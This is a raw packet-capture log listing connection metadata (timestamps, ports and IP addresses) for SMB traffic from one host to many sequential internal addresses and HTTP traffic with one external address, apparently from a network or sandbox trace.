Jul 6, 2024 14:10:23.666464090 CEST	49839	445	192.168.2.4	192.168.0.100
Jul 6, 2024 14:10:23.666470051 CEST	445	49877	192.168.0.5	192.168.2.4
Jul 6, 2024 14:10:23.666480064 CEST	445	49878	192.168.0.135	192.168.2.4
Jul 6, 2024 14:10:23.666488886 CEST	445	49879	192.168.0.6	192.168.2.4
Jul 6, 2024 14:10:23.666497946 CEST	445	49880	192.168.0.7	192.168.2.4
Jul 6, 2024 14:10:23.666507006 CEST	445	49881	192.168.0.136	192.168.2.4
Jul 6, 2024 14:10:23.666516066 CEST	445	49882	192.168.0.8	192.168.2.4
Jul 6, 2024 14:10:23.666526079 CEST	445	49883	192.168.0.137	192.168.2.4
Jul 6, 2024 14:10:23.666526079 CEST	49821	445	192.168.2.4	192.168.0.82
Jul 6, 2024 14:10:23.666533947 CEST	445	49884	192.168.0.9	192.168.2.4
Jul 6, 2024 14:10:23.666543961 CEST	445	49885	192.168.0.138	192.168.2.4
Jul 6, 2024 14:10:23.666560888 CEST	445	49886	192.168.0.139	192.168.2.4
Jul 6, 2024 14:10:23.666569948 CEST	445	49887	192.168.0.140	192.168.2.4
Jul 6, 2024 14:10:23.666579008 CEST	445	49888	192.168.0.141	192.168.2.4
Jul 6, 2024 14:10:23.666588068 CEST	445	49889	192.168.0.142	192.168.2.4
Jul 6, 2024 14:10:23.666596889 CEST	445	49818	192.168.0.79	192.168.2.4
Jul 6, 2024 14:10:23.666603088 CEST	49844	445	192.168.2.4	192.168.0.105
Jul 6, 2024 14:10:23.666605949 CEST	445	49890	192.168.0.143	192.168.2.4
Jul 6, 2024 14:10:23.666614056 CEST	49847	445	192.168.2.4	192.168.0.108
Jul 6, 2024 14:10:23.666615009 CEST	445	49819	192.168.0.80	192.168.2.4
Jul 6, 2024 14:10:23.666619062 CEST	49845	445	192.168.2.4	192.168.0.106
Jul 6, 2024 14:10:23.666623116 CEST	49846	445	192.168.2.4	192.168.0.107
Jul 6, 2024 14:10:23.666625023 CEST	445	49891	192.168.0.144	192.168.2.4
Jul 6, 2024 14:10:23.666629076 CEST	49848	445	192.168.2.4	192.168.0.109
Jul 6, 2024 14:10:23.666629076 CEST	49850	445	192.168.2.4	192.168.0.111
Jul 6, 2024 14:10:23.666635036 CEST	445	49820	192.168.0.81	192.168.2.4
Jul 6, 2024 14:10:23.666635990 CEST	49849	445	192.168.2.4	192.168.0.110
Jul 6, 2024 14:10:23.666635990 CEST	49851	445	192.168.2.4	192.168.0.112
Jul 6, 2024 14:10:23.666635990 CEST	49852	445	192.168.2.4	192.168.0.113
Jul 6, 2024 14:10:23.666644096 CEST	445	49892	192.168.0.145	192.168.2.4
Jul 6, 2024 14:10:23.666654110 CEST	445	49821	192.168.0.82	192.168.2.4
Jul 6, 2024 14:10:23.666662931 CEST	49855	445	192.168.2.4	192.168.0.116
Jul 6, 2024 14:10:23.666675091 CEST	445	49893	192.168.0.146	192.168.2.4
Jul 6, 2024 14:10:23.666675091 CEST	49857	445	192.168.2.4	192.168.0.118
Jul 6, 2024 14:10:23.666682959 CEST	49856	445	192.168.2.4	192.168.0.117
Jul 6, 2024 14:10:23.666682959 CEST	49858	445	192.168.2.4	192.168.0.119
Jul 6, 2024 14:10:23.666686058 CEST	49853	445	192.168.2.4	192.168.0.114
Jul 6, 2024 14:10:23.666704893 CEST	49863	445	192.168.2.4	192.168.0.124
Jul 6, 2024 14:10:23.666711092 CEST	49861	445	192.168.2.4	192.168.0.122
Jul 6, 2024 14:10:23.666723013 CEST	49864	445	192.168.2.4	192.168.0.125
Jul 6, 2024 14:10:23.666750908 CEST	49865	445	192.168.2.4	192.168.0.126
Jul 6, 2024 14:10:23.666769028 CEST	49866	445	192.168.2.4	192.168.0.127
Jul 6, 2024 14:10:23.666840076 CEST	49854	445	192.168.2.4	192.168.0.115
Jul 6, 2024 14:10:23.666840076 CEST	49859	445	192.168.2.4	192.168.0.120
Jul 6, 2024 14:10:23.666840076 CEST	49860	445	192.168.2.4	192.168.0.121
Jul 6, 2024 14:10:23.666840076 CEST	49862	445	192.168.2.4	192.168.0.123
Jul 6, 2024 14:10:23.666840076 CEST	49867	445	192.168.2.4	192.168.0.128
Jul 6, 2024 14:10:23.666954041 CEST	49818	445	192.168.2.4	192.168.0.79
Jul 6, 2024 14:10:23.666954994 CEST	49868	445	192.168.2.4	192.168.0.129
Jul 6, 2024 14:10:23.666975021 CEST	49820	445	192.168.2.4	192.168.0.81
Jul 6, 2024 14:10:23.666975021 CEST	49819	445	192.168.2.4	192.168.0.80
Jul 6, 2024 14:10:23.666990995 CEST	49821	445	192.168.2.4	192.168.0.82
Jul 6, 2024 14:10:23.667005062 CEST	49870	445	192.168.2.4	192.168.0.2
Jul 6, 2024 14:10:23.667006969 CEST	49869	445	192.168.2.4	192.168.0.130
Jul 6, 2024 14:10:23.667006969 CEST	49871	445	192.168.2.4	192.168.0.131
Jul 6, 2024 14:10:23.667010069 CEST	49872	445	192.168.2.4	192.168.0.3
Jul 6, 2024 14:10:23.667027950 CEST	49874	445	192.168.2.4	192.168.0.132
Jul 6, 2024 14:10:23.667027950 CEST	49875	445	192.168.2.4	192.168.0.133
Jul 6, 2024 14:10:23.667030096 CEST	49873	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:23.667030096 CEST	49877	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:23.667047024 CEST	49879	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:23.667047977 CEST	49882	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:23.667056084 CEST	49884	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:23.667059898 CEST	49881	445	192.168.2.4	192.168.0.136
Jul 6, 2024 14:10:23.667059898 CEST	49883	445	192.168.2.4	192.168.0.137
Jul 6, 2024 14:10:23.667078972 CEST	49886	445	192.168.2.4	192.168.0.139
Jul 6, 2024 14:10:23.667166948 CEST	49880	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:23.667166948 CEST	49887	445	192.168.2.4	192.168.0.140
Jul 6, 2024 14:10:23.667166948 CEST	49822	445	192.168.2.4	192.168.0.83
Jul 6, 2024 14:10:23.667167902 CEST	49823	445	192.168.2.4	192.168.0.84
Jul 6, 2024 14:10:23.667181969 CEST	49891	445	192.168.2.4	192.168.0.144
Jul 6, 2024 14:10:23.667181969 CEST	49889	445	192.168.2.4	192.168.0.142
Jul 6, 2024 14:10:23.667181969 CEST	49892	445	192.168.2.4	192.168.0.145
Jul 6, 2024 14:10:23.667212009 CEST	49876	445	192.168.2.4	192.168.0.134
Jul 6, 2024 14:10:23.667212009 CEST	49878	445	192.168.2.4	192.168.0.135
Jul 6, 2024 14:10:23.667212009 CEST	49888	445	192.168.2.4	192.168.0.141
Jul 6, 2024 14:10:23.667212009 CEST	49890	445	192.168.2.4	192.168.0.143
Jul 6, 2024 14:10:23.667212009 CEST	49893	445	192.168.2.4	192.168.0.146
Jul 6, 2024 14:10:23.667258024 CEST	49824	445	192.168.2.4	192.168.0.85
Jul 6, 2024 14:10:23.667377949 CEST	49844	445	192.168.2.4	192.168.0.105
Jul 6, 2024 14:10:23.667418957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667470932 CEST	49885	445	192.168.2.4	192.168.0.138
Jul 6, 2024 14:10:23.667494059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667496920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667509079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667531013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667536020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667541981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667568922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667593002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667630911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667643070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667666912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667680025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667711973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667723894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667735100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667746067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667756081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667762041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667793036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667839050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667850971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667884111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.667970896 CEST	49818	445	192.168.2.4	192.168.0.79
Jul 6, 2024 14:10:23.667980909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.667990923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668001890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668013096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668013096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668023109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668034077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668041945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668070078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668098927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668126106 CEST	49828	445	192.168.2.4	192.168.0.89
Jul 6, 2024 14:10:23.668127060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668138981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668171883 CEST	49831	445	192.168.2.4	192.168.0.92
Jul 6, 2024 14:10:23.668173075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668207884 CEST	49829	445	192.168.2.4	192.168.0.90
Jul 6, 2024 14:10:23.668226957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668239117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668250084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668257952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668260098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668265104 CEST	49832	445	192.168.2.4	192.168.0.93
Jul 6, 2024 14:10:23.668272018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668272018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668293953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668320894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668478966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668495893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668507099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668517113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668526888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668533087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668546915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668560982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668565035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668574095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668576002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668586969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668596029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668603897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668606043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668616056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668627024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668631077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668637037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668643951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668648005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668658018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668667078 CEST	49873	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:23.668668032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668678045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668689013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.668690920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668701887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668725967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.668766022 CEST	49834	445	192.168.2.4	192.168.0.95
Jul 6, 2024 14:10:23.668802977 CEST	49877	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:23.668843031 CEST	49836	445	192.168.2.4	192.168.0.97
Jul 6, 2024 14:10:23.668899059 CEST	49879	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:23.668930054 CEST	49880	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:23.668993950 CEST	49837	445	192.168.2.4	192.168.0.98
Jul 6, 2024 14:10:23.669027090 CEST	49882	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:23.669028997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669044971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669054985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669075966 CEST	49884	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:23.669100046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669156075 CEST	49838	445	192.168.2.4	192.168.0.99
Jul 6, 2024 14:10:23.669161081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669172049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669183016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669193983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669193983 CEST	49839	445	192.168.2.4	192.168.0.100
Jul 6, 2024 14:10:23.669207096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669224977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669240952 CEST	49840	445	192.168.2.4	192.168.0.101
Jul 6, 2024 14:10:23.669249058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669291019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669313908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669325113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669331074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669331074 CEST	49841	445	192.168.2.4	192.168.0.102
Jul 6, 2024 14:10:23.669336081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669346094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669351101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669362068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669363976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669373035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669377089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669384003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669393063 CEST	49842	445	192.168.2.4	192.168.0.103
Jul 6, 2024 14:10:23.669395924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669424057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669445038 CEST	49845	445	192.168.2.4	192.168.0.106
Jul 6, 2024 14:10:23.669500113 CEST	49846	445	192.168.2.4	192.168.0.107
Jul 6, 2024 14:10:23.669517994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669548988 CEST	49851	445	192.168.2.4	192.168.0.112
Jul 6, 2024 14:10:23.669564962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669600010 CEST	49850	445	192.168.2.4	192.168.0.111
Jul 6, 2024 14:10:23.669644117 CEST	49852	445	192.168.2.4	192.168.0.113
Jul 6, 2024 14:10:23.669684887 CEST	49856	445	192.168.2.4	192.168.0.117
Jul 6, 2024 14:10:23.669696093 CEST	49857	445	192.168.2.4	192.168.0.118
Jul 6, 2024 14:10:23.669722080 CEST	49859	445	192.168.2.4	192.168.0.120
Jul 6, 2024 14:10:23.669733047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669758081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669768095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669771910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669779062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669789076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669790983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669799089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669809103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669810057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669820070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669831038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669836044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669841051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669852018 CEST	49862	445	192.168.2.4	192.168.0.123
Jul 6, 2024 14:10:23.669852972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669862986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669864893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669874907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669882059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669884920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669894934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669904947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669904947 CEST	49865	445	192.168.2.4	192.168.0.126
Jul 6, 2024 14:10:23.669910908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669915915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669928074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669928074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669938087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.669939995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669959068 CEST	49866	445	192.168.2.4	192.168.0.127
Jul 6, 2024 14:10:23.669982910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.669982910 CEST	49830	445	192.168.2.4	192.168.0.91
Jul 6, 2024 14:10:23.670025110 CEST	49861	445	192.168.2.4	192.168.0.122
Jul 6, 2024 14:10:23.670039892 CEST	49867	445	192.168.2.4	192.168.0.128
Jul 6, 2024 14:10:23.670326948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670339108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670350075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670371056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670377016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670387030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670397043 CEST	49833	445	192.168.2.4	192.168.0.94
Jul 6, 2024 14:10:23.670397997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670397997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670409918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670416117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670419931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670425892 CEST	49869	445	192.168.2.4	192.168.0.130
Jul 6, 2024 14:10:23.670430899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670433044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670440912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670452118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670461893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670470953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670476913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670488119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670490026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670499086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670510054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670512915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670536041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670561075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670789957 CEST	49871	445	192.168.2.4	192.168.0.131
Jul 6, 2024 14:10:23.670795918 CEST	49874	445	192.168.2.4	192.168.0.132
Jul 6, 2024 14:10:23.670830965 CEST	49835	445	192.168.2.4	192.168.0.96
Jul 6, 2024 14:10:23.670845985 CEST	49875	445	192.168.2.4	192.168.0.133
Jul 6, 2024 14:10:23.670850992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670861959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670866013 CEST	49876	445	192.168.2.4	192.168.0.134
Jul 6, 2024 14:10:23.670871973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670882940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670888901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670892954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670901060 CEST	49878	445	192.168.2.4	192.168.0.135
Jul 6, 2024 14:10:23.670905113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670912027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670917034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670922995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.670938969 CEST	49881	445	192.168.2.4	192.168.0.136
Jul 6, 2024 14:10:23.670952082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670991898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.670993090 CEST	49883	445	192.168.2.4	192.168.0.137
Jul 6, 2024 14:10:23.671019077 CEST	49886	445	192.168.2.4	192.168.0.139
Jul 6, 2024 14:10:23.671036959 CEST	49887	445	192.168.2.4	192.168.0.140
Jul 6, 2024 14:10:23.671049118 CEST	49885	445	192.168.2.4	192.168.0.138
Jul 6, 2024 14:10:23.671065092 CEST	49889	445	192.168.2.4	192.168.0.142
Jul 6, 2024 14:10:23.671070099 CEST	49888	445	192.168.2.4	192.168.0.141
Jul 6, 2024 14:10:23.671116114 CEST	49891	445	192.168.2.4	192.168.0.144
Jul 6, 2024 14:10:23.671116114 CEST	49892	445	192.168.2.4	192.168.0.145
Jul 6, 2024 14:10:23.671377897 CEST	49860	445	192.168.2.4	192.168.0.121
Jul 6, 2024 14:10:23.671396017 CEST	49858	445	192.168.2.4	192.168.0.119
Jul 6, 2024 14:10:23.671479940 CEST	49864	445	192.168.2.4	192.168.0.125
Jul 6, 2024 14:10:23.671509981 CEST	49825	445	192.168.2.4	192.168.0.86
Jul 6, 2024 14:10:23.671633959 CEST	49847	445	192.168.2.4	192.168.0.108
Jul 6, 2024 14:10:23.671974897 CEST	49848	445	192.168.2.4	192.168.0.109
Jul 6, 2024 14:10:23.672059059 CEST	49827	445	192.168.2.4	192.168.0.88
Jul 6, 2024 14:10:23.672089100 CEST	49843	445	192.168.2.4	192.168.0.104
Jul 6, 2024 14:10:23.672171116 CEST	49849	445	192.168.2.4	192.168.0.110
Jul 6, 2024 14:10:23.672223091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672230005 CEST	49826	445	192.168.2.4	192.168.0.87
Jul 6, 2024 14:10:23.672261000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672264099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672348976 CEST	49853	445	192.168.2.4	192.168.0.114
Jul 6, 2024 14:10:23.672353029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672363043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672367096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672374010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672419071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672513962 CEST	49855	445	192.168.2.4	192.168.0.116
Jul 6, 2024 14:10:23.672555923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672566891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672574043 CEST	49854	445	192.168.2.4	192.168.0.115
Jul 6, 2024 14:10:23.672579050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672600985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672620058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672676086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672689915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672714949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672729969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672734976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672745943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672755957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672758102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672768116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672776937 CEST	80	49732	211.108.60.155	192.168.2.4
